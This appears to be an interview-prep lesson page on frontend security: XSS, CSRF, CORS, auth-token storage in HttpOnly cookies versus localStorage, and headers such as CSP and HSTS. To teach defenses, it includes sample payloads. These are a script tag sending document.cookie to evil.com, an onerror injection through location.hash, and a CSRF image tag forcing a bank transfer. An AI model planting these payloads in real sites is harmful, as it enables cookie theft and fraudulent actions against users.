Loading challenge...
Preparing the challenge details...
Loading challenge...
Preparing the challenge details...
XSS (stored, reflected, DOM-based), CSRF, CORS and the Same-Origin Policy, auth token storage tradeoffs (HttpOnly cookies vs localStorage), and a set of quick-hit defenses — explained as layered mental models, not a checklist.
The flagged gap area, so this goes deepest. For a frontend role the core set is XSS, CSRF, CORS, and auth-token storage — plus a handful of quick-hit defenses. The auth-storage section is where your JWT-in-HttpOnly-cookies experience lets you show real depth, so lean into it.
The attacker injects malicious JavaScript that runs in another user's browser, in the context of your site's origin. Because it runs as your origin, it can read cookies (non-HttpOnly), localStorage, the DOM, make authenticated requests, and impersonate the user. This is the single most important frontend vulnerability.
Stored (persistent) XSS — the malicious script is saved on the server (a comment, profile bio, review) and served to every user who views that content. The most dangerous because it's automatic and wide-reaching.
Example: a user sets their display name to
<script>fetch('https://evil.com?c='+document.cookie)</script>. Every visitor to their profile runs it.
Reflected XSS — the script comes from the request (usually a URL parameter) and is reflected straight back into the response without sanitization. Requires tricking a victim into clicking a crafted link.
Example: a search page renders
You searched for: <query>directly. Attacker sends?q=<script>...</script>in a phishing link.
DOM-based XSS — the vulnerability is entirely client-side; malicious data flows from a source (location.hash, location.search) into a dangerous sink (innerHTML, eval, document.write) without the server ever being involved.
JSfile.js1// DOM-based XSS — the bug is in the client code 2const name = location.hash.slice(1); 3document.getElementById('greeting').innerHTML = name; // sink — executes injected HTML/script 4// URL: page.html#<img src=x onerror=alert(document.cookie)>
dangerouslySetInnerHTML is dangerousIt bypasses React's automatic escaping and injects raw HTML. If any part of that string is user-controlled and unsanitized, you've opened a stored/reflected XSS hole. The name is a deliberate warning.
JSXcomponent.jsx1// DANGEROUS if `comment` contains user input 2<div dangerouslySetInnerHTML={{ __html: comment }} /> 3 4// SAFE — sanitize first with a library like DOMPurify 5import DOMPurify from 'dompurify'; 6<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment) }} />
JSX escapes all interpolated values before rendering. {userInput} is rendered as inert text, not parsed as HTML — so <script> shows up literally on the page instead of executing. You only lose this protection when you deliberately reach for dangerouslySetInnerHTML, href={userInput} with a javascript: URL, or inject into a non-React sink.
JSXcomponent.jsx1const evil = '<img src=x onerror=alert(1)>'; 2<div>{evil}</div> // renders the text literally — safe. React escaped it.
HTTPfile.http1Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
The framing to land: escaping is your primary defense, CSP is defense-in-depth, HttpOnly limits the blast radius. No single layer is enough.
The attacker tricks an authenticated user's browser into making an unwanted state-changing request to your site. The user is logged in; the browser automatically attaches their cookies to any request to your domain — even one triggered from a malicious site. The attacker never sees the response or the cookie; they just cause the action.
Example: you're logged into your bank. You visit a malicious page containing
<img src="https://bank.com/transfer?to=attacker&amount=10000">. Your browser fires that request with your bank cookies attached, and the transfer goes through.
The root cause: cookies are sent automatically based on the destination, regardless of where the request originated. XSS is "untrusted script runs"; CSRF is "trusted user's credentials are ridden." Different problems.
1. SameSite cookies — the modern primary defense. Controls whether cookies are sent on cross-site requests.
SameSite=Strict — cookie never sent on any cross-site request (most secure, but breaks following a link into your logged-in site).SameSite=Lax — sent on top-level navigations (clicking a link) but not on cross-site subrequests like <img>, fetch, or form POSTs. A good default; modern browsers default to Lax.SameSite=None — sent on all cross-site requests; requires Secure. Only for genuine cross-site needs.HTTPfile.http1Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Lax
2. CSRF tokens (synchronizer token pattern) — server issues a random, unpredictable token tied to the session; every state-changing request must include it (in a header or hidden field). The attacker's cross-site request can't know the token, so it's rejected. Often implemented as the double-submit cookie pattern on SPAs.
3. Check Origin / Referer headers — verify state-changing requests come from your own origin. A secondary defense.
The strong answer: SameSite=Lax/Strict as the baseline, plus CSRF tokens for sensitive actions — layered, not either/or.
Everyone conflates CORS with security; being precise here is a differentiator.
The actual security mechanism. It stops a page on origin A from reading responses from origin B. An origin is scheme + host + port — all three must match. SOP is why a malicious page can't silently read your Gmail via JavaScript.
CORS (Cross-Origin Resource Sharing) is a controlled relaxation of SOP — a way for a server to opt into letting specific other origins read its responses. It is not a protection for your own server; it's permission you grant.
The framing to nail: "CORS doesn't protect your API — it loosens a browser restriction. It's enforced by the browser, not the server. The server still receives and can process the request; the browser just blocks the page from reading the response if the CORS headers don't permit it." That's why CORS is not a substitute for authentication or CSRF defense.
For "non-simple" requests (custom headers, PUT/DELETE, certain content types), the browser sends an automatic OPTIONS preflight asking what's allowed, and only proceeds if the server approves via Access-Control-Allow-* headers.
HTTPfile.http1# preflight 2OPTIONS /api/data 3Origin: https://app.example.com 4Access-Control-Request-Method: PUT 5 6# server grants permission 7Access-Control-Allow-Origin: https://app.example.com 8Access-Control-Allow-Methods: GET, PUT, POST
Common interview misconception to correct: a CORS error doesn't mean the request was blocked from reaching the server — it often did reach it; the browser just refused to expose the response to your JS.
The "where do I store the JWT" question. There's no universally correct answer; the signal is that you understand the tradeoffs and can argue them.
HttpOnly Cookie
localStorage / sessionStorage
Authorization header)localStorage.getItem('token') and exfiltrates it. And since XSS is the most common and severe frontend vuln, this is a serious downside.SameSite and CSRF tokens.The stronger default is HttpOnly + Secure + SameSite cookies, because:
The production pattern: short-lived access token + long-lived refresh token, both in HttpOnly cookies, with refresh-token rotation (each refresh issues a new refresh token and invalidates the old one, so a stolen refresh token has a narrow window and reuse can be detected).
HTTPfile.http1Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Lax; Max-Age=900 2Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Max-Age=604800
The closing line that shows maturity: "Neither storage choice removes the need to prevent XSS in the first place — if you have XSS, the attacker can act as the user regardless of where the token lives, by riding the session directly. Storage choice limits blast radius; it isn't the actual fix."
Clickjacking — the attacker loads your site in an invisible iframe over their own UI, tricking the user into clicking something they can't see ("UI redress"). Defend with X-Frame-Options: DENY (or SAMEORIGIN), or the modern CSP equivalent frame-ancestors 'none'.
HTTPS / HSTS — always serve over HTTPS so traffic can't be read or tampered with in transit. Strict-Transport-Security (HSTS) tells browsers to only ever use HTTPS for your domain, preventing protocol-downgrade and SSL-stripping attacks.
HTTPfile.http1Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Secure cookie flags — Secure (only sent over HTTPS), HttpOnly (no JS access), SameSite (CSRF mitigation). Set all three on session cookies.
Don't leak secrets in the frontend bundle — anything shipped to the browser is public. No API secret keys, no private credentials in JS or env vars exposed to the client. Only publishable/public keys belong in frontend code; secrets stay server-side.
Subresource Integrity (SRI) — when loading third-party scripts from a CDN, add an integrity hash so the browser refuses to run the file if it's been tampered with.
Dependency hygiene — supply-chain risk: audit dependencies (npm audit), since a compromised package runs with your app's full privileges.
XSS — stored / reflected / DOM-based; untrusted script runs as your origin. Defenses layered: escape output (React does this), sanitize HTML with DOMPurify, CSP for defense-in-depth, HttpOnly to limit blast radius. dangerouslySetInnerHTML bypasses React's escaping.
CSRF — rides the user's auto-sent cookies to force a state-changing request. Defenses: SameSite=Lax/Strict (primary) + CSRF tokens + Origin/Referer check.
CORS — a relaxation of the Same-Origin Policy, enforced by the browser, not the server; not a protection for your API. Preflight OPTIONS for non-simple requests.
Auth storage — HttpOnly cookies (XSS-safe, CSRF-prone → add SameSite + tokens) vs localStorage (CSRF-safe, XSS-exposed). Default to HttpOnly + Secure + SameSite, short access + rotating refresh token. Storage limits blast radius; preventing XSS is the real fix.
Quick hits — clickjacking (frame-ancestors/X-Frame-Options), HTTPS + HSTS, Secure/HttpOnly/SameSite cookie flags, no secrets in the bundle, SRI for third-party scripts.
Goal: Understand XSS, CSRF, CORS, and auth token storage deeply enough to argue tradeoffs — not just name defenses. The depth that distinguishes a senior frontend answer from a checklist recitation.
Continue learning with these related challenges
The rendering pipeline, critical rendering path, event loop, CSS cascade and layout, and HTTP — explained as mental models and edge cases, not surface definitions. The "do you actually understand how the browser works" round.
Build systems, security, offline-first patterns, internationalization, maintainable CSS, performance internals, and design systems — the advanced tier where senior-level depth is tested. Part 3 of the Frontend Roadmap series.
Understanding frontend performance optimization from the ground up - learn how browsers work and optimize your code accordingly.
The rendering pipeline, critical rendering path, event loop, CSS cascade and layout, and HTTP — explained as mental models and edge cases, not surface definitions. The "do you actually understand how the browser works" round.
Build systems, security, offline-first patterns, internationalization, maintainable CSS, performance internals, and design systems — the advanced tier where senior-level depth is tested. Part 3 of the Frontend Roadmap series.
Understanding frontend performance optimization from the ground up - learn how browsers work and optimize your code accordingly.